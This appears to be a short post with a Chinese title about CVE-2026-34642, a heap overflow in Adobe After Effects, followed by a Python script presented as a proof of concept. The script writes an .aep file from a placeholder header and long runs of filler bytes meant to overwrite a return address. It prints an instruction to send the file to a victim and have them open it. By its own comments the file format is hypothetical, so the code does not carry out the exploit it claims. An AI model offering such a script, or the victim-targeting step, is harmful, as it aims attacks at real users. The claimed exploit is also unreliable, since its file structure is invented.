CVE-2026-34642 Adobe After Effects 堆缓冲区溢出漏洞

import os import struct # Proof of Concept Generator for CVE-2026-34642 # This script generates a malicious file structure designed to trigger the Heap-based Buffer Overflow. # Note: The specific file format structure (AEP) requires further reversing to be perfectly functional, # this demonstrates the logic of overflowing the buffer. def generate_malicious_file(filename): # Header placeholder (hypothetical) header = b'\x00\x00\x00\x00AfterEffects' # Padding to reach the vulnerable buffer offset offset = b'A' * 256 # Overflow payload: Overwriting the return address or structure pointers # 'BBBB' represents the address to redirect execution flow payload = b'B' * 5000 with open(filename, 'wb') as f: f.write(header + offset + payload) print(f"[+] Malicious file generated: {filename}") print(f"[+] Send this file to a victim and ask them to open it in Adobe After Effects.") if __name__ == "__main__": generate_malicious_file("cve_2026_34642_poc.aep")